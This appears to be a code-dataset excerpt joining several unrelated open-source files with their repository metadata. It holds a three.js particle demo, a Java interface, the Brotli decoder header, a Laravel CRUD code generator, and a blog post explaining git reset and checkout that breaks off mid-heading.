THREE.ImageUtils.loadTexture('assets/textures/particle-low.png'); size = 0.25; } var geo = new THREE.Geometry(); var mat = new THREE.ParticleSystemMaterial({ blending: THREE.AdditiveBlending, depthBuffer: false, depthTest: false, map: map, transparent: true, vertexColors: true, size: size }); var p; while(particles--) { p = new Particle(0.125 + Math.random() * 4); p.set( 20 + App.biRandom() * 10, App.biRandom(), 10 + App.biRandom() ); p.velocity = new THREE.Vector3( -10 + Math.random() * 0.5, 8 + Math.random() * 0.25, 0 ); geo.vertices.push(p); geo.colors.push(p.color); } return new THREE.ParticleSystem(geo, mat); }; App.prototype.getSkybox = function() { var prefix = 'assets/textures/skybox/space-'; var suffix = '.png'; // var dirs = []; var files = [ 'right', 'left', 'top', 'bottom', 'front', 'back' ]; var geo = new THREE.BoxGeometry(5000, 5000, 5000, 1, 1, 1); var mats = []; var i; for(i = 0; i < 6; i++) { mats.push(new THREE.MeshBasicMaterial({ blending: THREE.AdditiveBlending, map: THREE.ImageUtils.loadTexture(prefix + files[i] + suffix), side: THREE.BackSide })); } return new THREE.Mesh(geo, new THREE.MeshFaceMaterial(mats)); }; /******************************** * EVENTS ********************************/ App.prototype.resize = function() { var h = window.innerHeight; var w = window.innerWidth; this.camera.inside.aspect = w / h; this.camera.inside.updateProjectionMatrix(); this.camera.outside.aspect = w / h; this.camera.outside.updateProjectionMatrix(); this.renderer.setSize(w, h); }; App.prototype.keydownHandler = function(e) { if(e.keyCode === 86) this.isInside = !this.isInside; }; App.prototype.fullscreen = function() { var el = this.renderer.domElement; if(el.requestFullscreen) el.requestFullscreen(); else if(el.webkitRequestFullscreen) el.webkitRequestFullscreen(); else if(el.mozRequestFullScreen) el.mozRequestFullScreen(); else if(el.msRequestFullscreen) el.msRequestFullscreen(); this.resize(); }; /******************************** * RENDER LOOP ********************************/ App.prototype.update = function() { this.updateParticleSystem(this.particles); this.updateMovingGravitationPoint(this.gravitationPoints[0]); }; App.prototype.updateParticleSystem = function(ps) { var geo = ps.geometry; var i = geo.vertices.length; var j; // Fixed delta? Yes, I don't want my particles to lag out of orbit var t = 1000 / 60 / 1000 * this.timer.multiplier; while(i--) { j = this.gravitationPoints.length; while(j--) this.gravitationPoints[j].attract(geo.vertices[i], t); geo.vertices[i].add(geo.vertices[i].velocity.clone().multiplyScalar(t)); } geo.verticesNeedUpdate = true; }; App.prototype.updateMovingGravitationPoint = function(gp) { gp.position.x = Math.cos(this.timer.elapsed / 2) * 8; gp.position.y = Math.sin(this.timer.elapsed / 3.43) * 8; gp.position.z = Math.sin(this.timer.elapsed / 1.23) * 8; }; App.prototype.render = function() { requestAnimationFrame(this.render.bind(this)); this.timer.update(); var camera = (this.isInside && this.particles ? this.camera.inside : this.camera.outside); if(this.particles) { var pf = this.particles.geometry.vertices[0]; var pl = this.particles.geometry.vertices[this.particles.geometry.vertices.length - 1]; this.update(); this.camera.inside.position = pf; this.camera.inside.lookAt(pf.clone().addVectors( this.gravitationPoints[0].position, pf.velocity, pl )); } else { camera.rotation.y = -this.timer.elapsed * 0.25 - Math.PI; camera.rotation.x = Math.sin(camera.rotation.y) * Math.PI / 16; } this.skybox.position = camera.position; this.renderer.render(this.scene, camera); }; /******************************** * STATIC ********************************/ App.biRandom = function() { return (Math.random() * 2) - 1; }; App.supportsWebGL = (function() { var canvas; try { canvas = document.createElement('canvas'); return !!window.WebGLRenderingContext && (canvas.getContext('webgl') || canvas.getContext('experimental-webgl')); } catch(e) {} return false; })(); App.initialize = function() { new App(); }; window.onload = App.initialize;
timseverien/life-of-a-particle
js/App.js
JavaScript
mit
6,999
package org.team619.crossout.program.listener; import org.team619.crossout.program.LifeCycle; public interface Listener extends LifeCycle { }
gleb619/cross0ut-b0t
api/src/main/java/org/team619/crossout/program/listener/Listener.java
Java
mit
144
/* Copyright 2013 Google Inc. All Rights Reserved. Distributed under MIT license. See file LICENSE for detail or copy at https://opensource.org/licenses/MIT */ /* API for Brotli decompression */ #ifndef BROTLI_DEC_DECODE_H_ #define BROTLI_DEC_DECODE_H_ #include "./state.h" #include "./types.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { /* Decoding error, e.g. corrupt input or memory allocation problem */ BROTLI_RESULT_ERROR = 0, /* Decoding successfully completed */ BROTLI_RESULT_SUCCESS = 1, /* Partially done; should be called again with more input */ BROTLI_RESULT_NEEDS_MORE_INPUT = 2, /* Partially done; should be called again with more output */ BROTLI_RESULT_NEEDS_MORE_OUTPUT = 3 } BrotliResult; /* Creates the instance of BrotliState and initializes it. |alloc_func| and |free_func| MUST be both zero or both non-zero. In the case they are both zero, default memory allocators are used. |opaque| is passed to |alloc_func| and |free_func| when they are called. */ BrotliState* BrotliCreateState( brotli_alloc_func alloc_func, brotli_free_func free_func, void* opaque); /* Deinitializes and frees BrotliState instance. */ void BrotliDestroyState(BrotliState* state); /* Sets |*decoded_size| to the decompressed size of the given encoded stream. This function only works if the encoded buffer has a single meta block, or if it has two meta-blocks, where the first is uncompressed and the second is empty. Returns 1 on success, 0 on failure. */ int BrotliDecompressedSize(size_t encoded_size, const uint8_t* encoded_buffer, size_t* decoded_size); /* Decompresses the data in |encoded_buffer| into |decoded_buffer|, and sets |*decoded_size| to the decompressed length. */ BrotliResult BrotliDecompressBuffer(size_t encoded_size, const uint8_t* encoded_buffer, size_t* decoded_size, uint8_t* decoded_buffer); /* Decompresses the data in |encoded_buffer| into |decoded_buffer| using the supplied dictionary, and sets |*decoded_size| to the decompressed length. */ BrotliResult BrotliDecompressBufferDict(size_t encoded_size, const uint8_t* encoded_buffer, size_t dict_size, const uint8_t* dict_buffer, size_t* decoded_size, uint8_t* decoded_buffer); /* Decompresses the data. Supports partial input and output. Must be called with an allocated input buffer in |*next_in| and an allocated output buffer in |*next_out|. The values |*available_in| and |*available_out| must specify the allocated size in |*next_in| and |*next_out| respectively. After each call, |*available_in| will be decremented by the amount of input bytes consumed, and the |*next_in| pointer will be incremented by that amount. Similarly, |*available_out| will be decremented by the amount of output bytes written, and the |*next_out| pointer will be incremented by that amount. |total_out| will be set to the number of bytes decompressed since last state initialization. Input is never overconsumed, so |next_in| and |available_in| could be passed to the next consumer after decoding is complete. */ BrotliResult BrotliDecompressStream(size_t* available_in, const uint8_t** next_in, size_t* available_out, uint8_t** next_out, size_t* total_out, BrotliState* s); /* Fills the new state with a dictionary for LZ77, warming up the ringbuffer, e.g. for custom static dictionaries for data formats. Not to be confused with the built-in transformable dictionary of Brotli. The dictionary must exist in memory until decoding is done and is owned by the caller. To use: 1) initialize state with BrotliStateInit 2) use BrotliSetCustomDictionary 3) use BrotliDecompressStream 4) clean up with BrotliStateCleanup */ void BrotliSetCustomDictionary( size_t size, const uint8_t* dict, BrotliState* s); #if defined(__cplusplus) || defined(c_plusplus) } /* extern "C" */ #endif #endif /* BROTLI_DEC_DECODE_H_ */
kothar/brotli-go
dec/decode.h
C
mit
4,333
<?php namespace Razzul\LaravelVueAdmin; use Exception; use Illuminate\Filesystem\Filesystem; use Razzul\LaravelVueAdmin\Models\Module; use Razzul\LaravelVueAdmin\Models\ModuleFieldTypes; use Razzul\LaravelVueAdmin\Helpers\LvHelper; use Razzul\LaravelVueAdmin\Models\Menu; class CodeGenerator { /** * Generate Controller file * if $generate is true then create file from module info from DB * $comm is command Object from Migration command * CodeGenerator::generateMigration($table, $generateFromTable); **/ public static function createController($config, $comm = null) { $templateDirectory = __DIR__.'/template'; LvHelper::log("info", "Creating controller...", $comm); $md = file_get_contents($templateDirectory."/controller.template"); $md = str_replace("__controller_class_name__", $config->controllerName, $md); $md = str_replace("__model_name__", $config->modelName, $md); $md = str_replace("__module_name__", $config->moduleName, $md); $md = str_replace("__view_column__", $config->module->view_col, $md); // Listing columns $listing_cols = ""; foreach ($config->module->fields as $field) { $listing_cols .= "'".$field['colname']."', "; } $listing_cols = trim($listing_cols, ", "); $md = str_replace("__listing_cols__", $listing_cols, $md); $md = str_replace("__view_folder__", $config->dbTableName, $md); $md = str_replace("__route_resource__", $config->dbTableName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); $md = str_replace("__singular_var__", $config->singularVar, $md); file_put_contents(base_path('app/Http/Controllers/LaravelVueAdmin/'.$config->controllerName.".php"), $md); } public static function createModel($config, $comm = null) { $templateDirectory = __DIR__.'/template'; LvHelper::log("info", "Creating model...", $comm); $md = file_get_contents($templateDirectory."/model.template"); $md = str_replace("__model_class_name__", $config->modelName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); file_put_contents(base_path('app/Models/'.$config->modelName.".php"), $md); } public static function createViews($config, $comm = null) { $templateDirectory = __DIR__.'/template'; LvHelper::log("info", "Creating views...", $comm); // Create Folder @mkdir(base_path("resources/views/LaravelVueAdmin/".$config->dbTableName), 0777, true); // ============================ Listing / Index ============================ $md = file_get_contents($templateDirectory."/views/index.blade.template"); $md = str_replace("__module_name__", $config->moduleName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); $md = str_replace("__controller_class_name__", $config->controllerName, $md); $md = str_replace("__singular_var__", $config->singularVar, $md); $md = str_replace("__singular_cap_var__", $config->singularCapitalVar, $md); $md = str_replace("__module_name_2__", $config->moduleName2, $md); // Listing columns $inputFields = ""; foreach ($config->module->fields as $field) { $inputFields .= "\t\t\t\t\t@lv_input($"."module, '".$field['colname']."')\n"; } $inputFields = trim($inputFields); $md = str_replace("__input_fields__", $inputFields, $md); file_put_contents(base_path('resources/views/LaravelVueAdmin/'.$config->dbTableName.'/index.blade.php'), $md); // ============================ Edit ============================ $md = file_get_contents($templateDirectory."/views/edit.blade.template"); $md = str_replace("__module_name__", $config->moduleName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); $md = str_replace("__controller_class_name__", $config->controllerName, $md); $md = str_replace("__singular_var__", $config->singularVar, $md); $md = str_replace("__singular_cap_var__", $config->singularCapitalVar, $md); $md = str_replace("__module_name_2__", $config->moduleName2, $md); // Listing columns $inputFields = ""; foreach ($config->module->fields as $field) { $inputFields .= "\t\t\t\t\t@lv_input($"."module, '".$field['colname']."')\n"; } $inputFields = trim($inputFields); $md = str_replace("__input_fields__", $inputFields, $md); file_put_contents(base_path('resources/views/LaravelVueAdmin/'.$config->dbTableName.'/edit.blade.php'), $md); // ============================ Show ============================ $md = file_get_contents($templateDirectory."/views/show.blade.template"); $md = str_replace("__module_name__", $config->moduleName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); $md = str_replace("__singular_var__", $config->singularVar, $md); $md = str_replace("__singular_cap_var__", $config->singularCapitalVar, $md); $md = str_replace("__module_name_2__", $config->moduleName2, $md); // Listing columns $displayFields = ""; foreach ($config->module->fields as $field) { $displayFields .= "\t\t\t\t\t\t@lv_display($"."module, '".$field['colname']."')\n"; } $displayFields = trim($displayFields); $md = str_replace("__display_fields__", $displayFields, $md); file_put_contents(base_path('resources/views/LaravelVueAdmin/'.$config->dbTableName.'/show.blade.php'), $md); } public static function appendRoutes($config, $comm = null) { $templateDirectory = __DIR__.'/template'; LvHelper::log("info", "Appending routes...", $comm); if(\Razzul\LaravelVueAdmin\Helpers\LvHelper::laravel_ver() == 5.3) { $routesFile = base_path('routes/admin_routes.php'); } else { $routesFile = base_path('routes/admin_routes.php'); } $contents = file_get_contents($routesFile); $contents = str_replace('});', '', $contents); file_put_contents($routesFile, $contents); $md = file_get_contents($templateDirectory."/routes.template"); $md = str_replace("__module_name__", $config->moduleName, $md); $md = str_replace("__controller_class_name__", $config->controllerName, $md); $md = str_replace("__db_table_name__", $config->dbTableName, $md); $md = str_replace("__singular_var__", $config->singularVar, $md); $md = str_replace("__singular_cap_var__", $config->singularCapitalVar, $md); file_put_contents($routesFile, $md, FILE_APPEND); } public static function addMenu($config, $comm = null) { // $templateDirectory = __DIR__.'/template'; LvHelper::log("info", "Appending Menu...", $comm); if(Menu::where("url", $config->dbTableName)->count() == 0) { Menu::create([ "name" => $config->moduleName, "url" => $config->dbTableName, "icon" => "fa ".$config->fa_icon, "type" => 'module', "parent" => 0 ]); } // Old Method to add Menu // $menu = '<li><a href="{{ url(config("laravelVueAdmin.adminRoute") . '."'".'/'.$config->dbTableName."'".') }}"><i class="fa fa-cube"></i> <span>'.$config->moduleName.'</span></a></li>'."\n".' <!-- LvMenus -->'; // $md = file_get_contents(base_path('resources/views/LaravelVueAdmin/layouts/partials/sidebar.blade.php')); // $md = str_replace("<!-- LvMenus -->", $menu, $md); // file_put_contents(base_path('resources/views/LaravelVueAdmin/layouts/partials/sidebar.blade.php'), $md); } /** * Generate migration file * if $generate is true then create file from module info from DB * $comm is command Object from Migration command * CodeGenerator::generateMigration($table, $generateFromTable); **/ public static function generateMigration($table, $generate = false, $comm = null) { $filesystem = new Filesystem(); if(starts_with($table, "create_")) { $tname = str_replace("create_", "",$table); $table = str_replace("_table", "",$tname); } $modelName = ucfirst(str_singular($table)); $tableP = str_plural(strtolower($table)); $tableS = str_singular(strtolower($table)); $migrationName = 'create_'.$tableP.'_table'; $migrationFileName = date("Y_m_d_His_").$migrationName.".php"; $migrationClassName = ucfirst(camel_case($migrationName)); $dbTableName = $tableP; $moduleName = ucfirst(str_plural($table)); LvHelper::log("info", "Model:\t ".$modelName, $comm); LvHelper::log("info", "Module:\t ".$moduleName, $comm); LvHelper::log("info", "Table:\t ".$dbTableName, $comm); LvHelper::log("info", "Migration: ".$migrationName."\n", $comm); // Reverse migration generation from table $generateData = ""; $viewColumnName = "view_column_name e.g. name"; // fa_icon $faIcon = "fa-cube"; if($generate) { // check if table, module and module fields exists $module = Module::get($moduleName); if(isset($module)) { LvHelper::log("info", "Module exists :\t ".$moduleName, $comm); $viewColumnName = $module->view_col; $faIcon = $module->fa_icon; $ftypes = ModuleFieldTypes::getFTypes2(); foreach ($module->fields as $field) { $ftype = $ftypes[$field['field_type']]; $unique = "false"; if($field['unique']) { $unique = "true"; } $dvalue = ""; if($field['defaultvalue'] != "") { if(starts_with($field['defaultvalue'], "[")) { $dvalue = $field['defaultvalue']; } else { $dvalue = '"'.$field['defaultvalue'].'"'; } } else { $dvalue = '""'; } $minlength = $field['minlength']; $maxlength = $field['maxlength']; $required = "false"; if($field['required']) { $required = "true"; } $values = ""; if($field['popup_vals'] != "") { if(starts_with($field['popup_vals'], "[")) { $values = ', '.$field['popup_vals']; } else { $values = ', "'.$field['popup_vals'].'"'; } } $generateData .= '["'.$field['colname'].'", "'.$field['label'].'", "'.$ftype.'", '.$unique.', '.$dvalue.', '.$minlength.', '.$maxlength.', '.$required.''.$values.'],'."\n "; } $generateData = trim($generateData); // Find existing migration file $mfiles = scandir(base_path('database/migrations/')); // print_r($mfiles); $fileExists = false; $fileExistName = ""; foreach ($mfiles as $mfile) { if(str_contains($mfile, $migrationName)) { $fileExists = true; $fileExistName = $mfile; } } if($fileExists) { LvHelper::log("info", "Replacing old migration file: ".$fileExistName, $comm); $migrationFileName = $fileExistName; } } else { LvHelper::log("error", "Module ".$moduleName." doesn't exists; Cannot generate !!!", $comm); } } $templateDirectory = __DIR__.'/template'; try { LvHelper::log("line", "Creating migration...", $comm); $migrationData = file_get_contents($templateDirectory."/migration.template"); $migrationData = str_replace("__migration_class_name__", $migrationClassName, $migrationData); $migrationData = str_replace("__db_table_name__", $dbTableName, $migrationData); $migrationData = str_replace("__module_name__", $moduleName, $migrationData); $migrationData = str_replace("__model_name__", $modelName, $migrationData); $migrationData = str_replace("__view_column__", $viewColumnName, $migrationData); $migrationData = str_replace("__fa_icon__", $faIcon, $migrationData); $migrationData = str_replace("__generated__", $generateData, $migrationData); file_put_contents(base_path('database/migrations/'.$migrationFileName), $migrationData); } catch (Exception $e) { throw new Exception("Unable to generate migration for ".$table." : ".$e->getMessage(), 1); } LvHelper::log("info", "Migration done: ".$migrationFileName."\n", $comm); } // $config = CodeGenerator::generateConfig($module_name); public static function generateConfig($module, $icon) { $config = array(); $config = (object) $config; if(starts_with($module, "create_")) { $tname = str_replace("create_", "",$module); $module = str_replace("_table", "",$tname); } $config->modelName = ucfirst(str_singular($module)); $tableP = str_plural(strtolower($module)); $tableS = str_singular(strtolower($module)); $config->dbTableName = $tableP; $config->fa_icon = $icon; $config->moduleName = ucfirst(str_plural($module)); $config->moduleName2 = str_replace('_', ' ', ucfirst(str_plural($module))); $config->controllerName = ucfirst(str_plural($module))."Controller"; $config->singularVar = strtolower(str_singular($module)); $config->singularCapitalVar = str_replace('_', ' ', ucfirst(str_singular($module))); $module = Module::get($config->moduleName); if(!isset($module->id)) { throw new Exception("Please run 'php artisan migrate' for 'create_".$config->dbTableName."_table' in order to create CRUD.\nOr check if any problem in Module Name '".$config->moduleName."'.", 1); return; } $config->module = $module; return $config; } }
razzul/laravel-vue-admin
src/CodeGenerator.php
PHP
mit
14,565
--- layout: post title: Reset Demystified --- <p>One of the topics that I didn't cover in depth in the Pro Git book is the <code>reset</code> command. Most of the reason for this, honestly, is that I never strongly understood the command beyond the handful of specific use cases that I needed it for. I knew what the command did, but not really how it was designed to work.</p> <p>Since then I have become more comfortable with the command, largely thanks to <a href="http://blog.plover.com/prog/git-reset.html">Mark Dominus's article</a> re-phrasing the content of the man-page, which I always found very difficult to follow. After reading that explanation of the command, I now personally feel more comfortable using <code>reset</code> and enjoy trying to help others feel the same way.</p> <p>This post assumes some basic understanding of how Git branching works. If you don't really know what HEAD and the Index are on a basic level, you might want to read chapters 2 and 3 of this book before reading this post.</p> <h2>The Three Trees of Git</h2> <img src="/images/reset/trees.png"/><br/> <p>The way I now like to think about <code>reset</code> and <code>checkout</code> is through the mental frame of Git being a content manager of three different trees. By 'tree' here I really mean "collection of files", not specifically the data structure. (Some Git developers will get a bit mad at me here, because there are a few cases where the Index doesn't exactly act like a tree, but for our purposes it is easier - forgive me).</p> <p>Git as a system manages and manipulates three trees in its normal operation. Each of these is covered in the book, but let's review them.</p> <table id="threetrees"> <tr> <th class="title" colspan="2">Tree Roles</th> </tr><tr> <th>The HEAD</th><td>last commit snapshot, next parent</td> </tr><tr> <th>The Index</th><td>proposed next commit snapshot</td> </tr><tr> <th>The Working Directory</th><td>sandbox</td> </tr> </table> <h3 class="subtitle"> The HEAD <small>last commit snapshot, next parent</small> </h3> <p> The HEAD in Git is the pointer to the current branch reference, which is in turn a pointer to the last commit you made or the last commit that was checked out into your working directory. That also means it will be the parent of the next commit you do. It's generally simplest to think of it as <b>HEAD is the snapshot of your last commit</b>. </p> <p>In fact, it's pretty easy to see what the snapshot of your HEAD looks like. Here is an example of getting the actual directory listing and SHA checksums for each file in the HEAD snapshot:</p> <pre> $ cat .git/HEAD ref: refs/heads/master $ cat .git/refs/heads/master e9a570524b63d2a2b3a7c3325acf5b89bbeb131e $ git cat-file -p e9a570524b63d2a2b3a7c3325acf5b89bbeb131e tree cfda3bf379e4f8dba8717dee55aab78aef7f4daf author Scott Chacon <schacon@gmail.com> 1301511835 -0700 committer Scott Chacon <schacon@gmail.com> 1301511835 -0700 initial commit $ git ls-tree -r cfda3bf379e4f8dba8717dee55aab78aef7f4daf 100644 blob a906cb2a4a904a152... README 100644 blob 8f94139338f9404f2... Rakefile 040000 tree 99f1a6d12cb4b6f19... lib </pre> <h3 class="subtitle"> The Index <small>next proposed commit snapshot</small> </h3> <p> The Index is your proposed next commit. Git populates it with a list of all the file contents that were last checked out into your working directory and what they looked like when they were originally checked out. It's not technically a tree structure, it's a flattened manifest, but for our purposes it's close enough. When you run <code>git commit</code>, that command only looks at your Index by default, not at anything in your working directory. So, it's simplest to think of it as <b>the Index is the snapshot of your next commit</b>. </p> <pre> $ git ls-files -s 100644 a906cb2a4a904a152e80877d4088654daad0c859 0 README 100644 8f94139338f9404f26296befa88755fc2598c289 0 Rakefile 100644 47c6340d6459e05787f644c2447d2595f5d3a54b 0 lib/simplegit.rb </pre> <h3 class="subtitle"> The Working Directory <small>sandbox, scratch area</small> </h3> <p> Finally, you have your working directory. This is where the content of files are placed into actual files on your filesystem so they're easily edited by you. <b>The Working Directory is your scratch space, used to easily modify file content.</b> </p> <pre> $ tree . ├── README ├── Rakefile └── lib └── simplegit.rb 1 directory, 3 files </pre> <h2>The Workflow</h2> <p>So, Git is all about recording snapshots of your project in successively better states by manipulating these three trees, or collections of contents of files.</p> <center><img width="400px" src="/images/reset/workflow.png"/></center><br/> <p>Let's visualize this process. Say you go into a new directory with a single file in it. We'll call this V1 of the file and we'll indicate it in blue. Now we run <code>git init</code>, which will create a Git repository with a HEAD reference that points to an unborn branch (aka, <i>nothing</i>)</p> <center><img width="500px" src="/images/reset/ex2.png"/></center><br/> <p>At this point, only the <b>Working Directory</b> tree has any content.</p> <p>Now we want to commit this file, so we use <code>git add</code> to take content in your Working Directory and populate our Index with the updated content</p> <center><img width="500px" src="/images/reset/ex3.png"/></center><br/> <p>Then we run <code>git commit</code> to take what the Index looks like now and save it as a permanent snapshot pointed to by a commit, which HEAD is then updated to point at.</p> <center><img width="500px" src="/images/reset/ex4.png"/></center><br/> <p>At this point, all three of the trees are the same. If we run <code>git status</code> now, we'll see no changes because they're all the same.</p> <p>Now we want to make a change to that file and commit it. We will go through the same process. First we change the file in our working directory.</p> <center><img width="500px" src="/images/reset/ex5.png"/></center><br/> <p>If we run <code>git status</code> right now we'll see the file in red as "changed but not updated" because that entry differs between our Index and our Working Directory. Next we run <code>git add</code> on it to stage it into our Index.<p> <center><img width="500px" src="/images/reset/ex6.png"/></center><br/> <p>At this point if we run <code>git status</code> we will see the file in green under 'Changes to be Committed' because the Index and HEAD differ - that is, our proposed next commit is now different from our last commit. Those are the entries we will see as 'to be Committed'. Finally, we run <code>git commit</code> to finalize the commit.</p> <center><img width="500px" src="/images/reset/ex7.png"/></center><br/> <p>Now <code>git status</code> will give us no output because all three trees are the same.</p> <p>Switching branches or cloning goes through a similar process. When you checkout a branch, it changes <b>HEAD</b> to point to the new commit, populates your <b>Index</b> with the snapshot of that commit, then checks out the contents of the files in your <b>Index</b> into your <b>Working Directory</b>.</p> <h2>The Role of Reset</h2> <p>So the <code>reset</code> command makes more sense when viewed in this context. It directly manipulates these three trees in a simple and predictable way. It does up to three basic operations.</p> <h3 class="subtitle"> Step 1: Moving HEAD <small>killing me --soft ly</small> </h3> <p> The first thing <code>reset</code> will do is move what HEAD points to. Unlike <code>checkout</code> it does not move what branch HEAD points to, it directly changes the SHA of the reference itself. This means if HEAD is pointing to the 'master' branch, running <code>git reset 9e5e64a</code> will first of all make 'master' point to <code>9e5e64a</code> before it does anything else. </p> <center><img width="500px" src="/images/reset/reset-soft.png"/></center><br/> <p>No matter what form of <code>reset</code> with a commit you invoke, this is the first thing it will always try to do. If you add the flag <code>--soft</code>, this is the <b>only</b> thing it will do. With <code>--soft</code>, <code>reset</code> will simply stop there.</p> <p>Now take a second to look at that diagram and realize what it did. It essentially undid the last commit you made. When you run <code>git commit</code>, Git will create a new commit and move the branch that <code>HEAD</code> points to up to it. When you <code>reset</code> back to <code>HEAD~</code> (the parent of HEAD), you are moving the branch back to where it was without changing the Index (staging area) or Working Directory. You could now do a bit more work and <code>commit</code> again to accomplish basically what <code>git commit --amend</code> would have done.</p> <h3 class="subtitle"> Step 2: Updating the Index <small>having --mixed feelings</small> </h3> <p>Note that if you run <code>git status</code> now you'll see the in green the difference between the Index and what the new HEAD is.</p> <p>The next thing <code>reset</code> will do is to update the Index with the contents of whatever tree HEAD now points to so they're the same.</p> <center><img width="500px" src="/images/reset/reset-mixed.png"/></center><br/> <p>If you specify the <code>--mixed</code> option, <code>reset</code> will stop at this point. This is also the default, so if you specify no option at all, this is where the command will stop.</p> <p>Now take another second to look at THAT diagram and realize what it did. It still undid your last <code>commit</code>, but also <i>unstaged</i> everything. You rolled back to before you ran all your <code>git add</code>s <i>AND</i> <code>git commit</code>. </p> <h3 class="subtitle"> Step 3: Updating the Working Directory <small>math is --hard, let's go shopping</small> </h3> <p>The third thing that <code>reset</code> will do is to then make the Working Directory look like the Index. If you use the <code>--hard</code> option, it will continue to this stage.</p> <center><img width="500px" src="/images/reset/reset-hard.png"/></center><br/> <p>Finally, take yet a third second to look at <i>that</i> diagram and think about what happened. You undid your last commit, all the <code>git add</code>s, <i>and</i> all the work you did in your working directory.</p> <p>It's important to note at this point that this is the only way to make the <code>reset</code> command dangerous (ie: not working directory safe). Any other invocation of <code>reset</code> can be pretty easily undone, the <code>--hard</code> option cannot, since it overwrites (without checking) any files in the Working Directory. In this particular case, we still have <b>v3</b> version of our file in a commit in our Git DB that we could get back by looking at our <code>reflog</code>, but if we had not committed it, Git still would have overwritten the file.</p> <h3>Overview</h3> <p> That is basically it. The <code>reset</code> command overwrites these three trees in a specific order, stopping when you tell it to. </p> <ul> <li>#1) Move whatever branch HEAD points to <small>(stop if <code>--soft</code>)</small> <li>#2) THEN, make the Index look like that <small>(stop here unless <code>--hard</code>)</small> <li>#3) THEN, make the Working Directory look like that </ul> <p>There are also <code>--merge</code> and <code>--keep</code> options, but I would rather keep things simpler for now - that will be for another article.</p> <p>Boom. You are now a <code>reset</code> master.</p> <h2>Reset with a Path</h2> <p> Well, I lied. That's not actually all. If you specify a path, <code>reset</code> will skip the first step and just do the other ones but limited to a specific file or set of files. This actually sort of makes sense - if the first step is to move a pointer to a different commit, you can't make it point to <i>part</i> of a commit, so it simply doesn't do that part. However, you can use <code>reset</code> to update part of the Index or the Working Directory with previously committed content this way. </p> <p>So, assume we run <code>git reset file.txt</code>. This assumes, since you did not specify a commit SHA or branch that points to a commit SHA, and that you provided no reset option, that you are typing the shorthand for <code>git reset --mixed HEAD file.txt</code>, which will: <ul> <li><strike>#1) Move whatever branch HEAD points to <small>(stop if <code>--soft</code>)</strike></small> <li>#2) THEN, make the Index look like that <small><strike>(stop here unless <code>--hard</code>)</strike></small> </ul> <p>So it essentially just takes whatever <code>file.txt</code> looks like in HEAD and puts that in the Index.</p> <center><img width="500px" src="/images/reset/reset-path1.png"/></center><br/> <p>So what does that do in a practical sense? Well, it <i>unstages</i> the file. If we look at the diagram for that command vs what <code>git add</code> does, we can see that it is simply the opposite. This is why the output of the <code>git status</code> command suggests that you run this to unstage a file.</p> <center><img width="500px" src="/images/reset/reset-path2.png"/></center><br/> <p>We could just as easily not let Git assume we meant "pull the data from HEAD" by specifying a specific commit to pull that file version from to populate our Index by running something like <code>git reset eb43bf file.txt</code>. <center><img width="500px" src="/images/reset/reset-path3.png"/></center><br/> <p>So what does that mean? That functionally does the same thing as if we had reverted the content of the file to <b>v1</b>, ran <code>git add</code> on it, then reverted it back to to <b>v3</b> again. If we run <code>git commit</code>, it will record a change that reverts that file back to <b>v1</b>, even though we never actually had it in our Working Directory again.</p> <p>It's also pretty interesting to note that like <code>git add --patch</code>, the <code>reset</code> command will accept a <code>--patch</code> option to unstage content on a hunk-by-hunk basis. So you can selectively unstage or revert content.</p> <h2>A fun example</h2> <p>I may use the term "fun" here a bit loosely, but if this doesn't sound like fun to you, you may drink while doing it. Let's look at how to do something interesting with this newfound power - squashing commits.</p> <p>If you have this history and you're about to push and you want to squash down the last N commits you've done into one awesome commit that makes you look really smart (vs a bunch of commits with messages like "oops.", "WIP" and "forgot this file") you can use <code>reset</code> to quickly and easily do that (as opposed to using <code>git rebase -i</code>).</p> <p>So, let's take a slightly more complex example. Let's say you have a project where the first commit has one file, the second commit added a new file and changed the first, and the third commit changed the first file again. The second commit was a work in progress and you want to squash it down.</p> <center><img width="500px" src="/images/reset/squash-r1.png"/></center><br/> <p>You can run <code>git reset --soft HEAD~2</code> to move the HEAD branch back to an older commit (the first commit you want to keep):</p> <center><img width="500px" src="/images/reset/squash-r2.png"/></center><br/> <p>And then simply run <code>git commit</code> again:</p> <center><img width="500px" src="/images/reset/squash-r3.png"/></center><br/> <p> Now you can see that your reachable history, the history you would push, now looks like you had one commit with the one file, then a second that both added the new file and modified the first to it's final state. </p> <h2>Check it out</h2> <p>Finally, some of you may wonder what the difference between <code>checkout</code> and <code>reset</code> is. Well, like <code>reset</code>, <code>checkout</code> manipulates the three trees and it is a bit different depending on whether you give the command a file path or not. So, let's look at both examples seperately. </p> <h3>git checkout [branch]</h3> <p>Running <code>git checkout [branch]</code> is pretty similar to running <code>git reset --hard [branch]</code> in that it updates all three trees for you to look like <code>[branch]</code>, but there are two important differences. </p> <p>First, unlike <code>reset --hard</code>, <code>checkout</code> is working directory safe in this invocation. It will check to make sure it's not blowing away files that have changes to them. Actually, this is a subtle difference, because it will update all of the working directory except the files you've modified if it can - it will do a trivial merge between what you're checking out and what's already there. In this case, <code>reset --hard</code> will simply replace everything across the board without checking. </p> <p>The second important difference is how it updates HEAD. Where <code>reset</code> will move the branch that HEAD points to, <code>checkout</code> will move HEAD itself to point to another branch.</p> <p>For instance, if we have two branches, 'master' and 'develop' pointing at different commits, and we're currently on 'develop' (so HEAD points to it) and we run <code>git reset master</code>, 'develop' itself will now point to the same commit that 'master' does.</p> <p>On the other hand, if we instead run <code>git checkout master</code>, 'develop' will not move, HEAD itself will. HEAD will now point to 'master'. So, in both cases we're moving HEAD to point to commit A, but <i>how</i> we do so is very different. <code>reset</code> will move the branch HEAD points to, <code>checkout</code> moves HEAD itself to point to another branch.</p> <center><img width="500px" src="/images/reset/reset-checkout.png"/></center><br/> <h3>git checkout [branch] file</h3> <p>The other way to run <code>checkout</code> is with a file path, which like <code>reset</code>, does not move HEAD. It is just like <code>git reset [branch] file</code> in that it updates the index with that file at that commit, but it also overwrites the file in the working directory. Think of it like <code>git reset --hard [branch] file</code> - it would be exactly the same thing, it is also not working directory safe and it also does not move HEAD. The only difference is that <code>reset</code> will a file name will not accept <code>--hard</code>, so you can't actually run that.</p> <p>Also, like <code>git reset</code> and <code>git add</code>, <code>checkout</code> will accept a <code>--patch</code> option to allow you to selectively revert file contents on a hunk-by-hunk basis.</p> <h2>Cheaters 